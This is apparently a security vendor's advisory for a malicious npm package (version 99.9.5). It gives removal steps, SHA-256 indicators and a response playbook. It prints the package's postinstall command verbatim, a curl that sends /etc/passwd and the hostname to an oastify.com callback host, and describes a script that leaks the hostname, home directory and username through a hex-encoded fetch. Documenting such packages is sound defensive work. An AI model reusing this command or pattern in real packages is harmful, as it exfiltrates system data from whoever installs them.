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Malicious package

@easy-entry/outside-registration-fop-navigatornpm

Malicious code in @easy-entry/outside-registration-fop-navigator (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5409
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @easy-entry/outside-registration-fop-navigator

What this malware does

On npm install, package.json's postinstall hook executes node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, sending the installer's /etc/passwd contents and hostname to a Burp Collaborator subdomain. In parallel, scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues a fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking installer host identity through DNS/HTTP to the attacker. Both behaviors fire automatically and unconditionally on default install.

Malicious versions

1 flagged
99.9.5

Indicators of compromise (SHA-256)

04091b4e3c6018586c8ba0c6106ff9177090d0776d1a723d041a76d67b1c8f2b
8f3fde652e3e14c71950b1c929e0be830c9e81c44378a2e625e6e9bfea8ab8f6

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/outside-registration-fop-navigator (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/outside-registration-fop-navigator across your stack and pipelines.

  2. If you installed it — respond

    Remove @easy-entry/outside-registration-fop-navigator from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If @easy-entry/outside-registration-fop-navigator was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks @easy-entry/outside-registration-fop-navigator before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @easy-entry/outside-registration-fop-navigator on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005025IN-MAL-2026-005026

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @easy-entry/outside-registration-fop-navigator-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

@easy-entry/outside-registration-fop-navigator (npm) malicious package — MAL-2026-5409 | O3 Security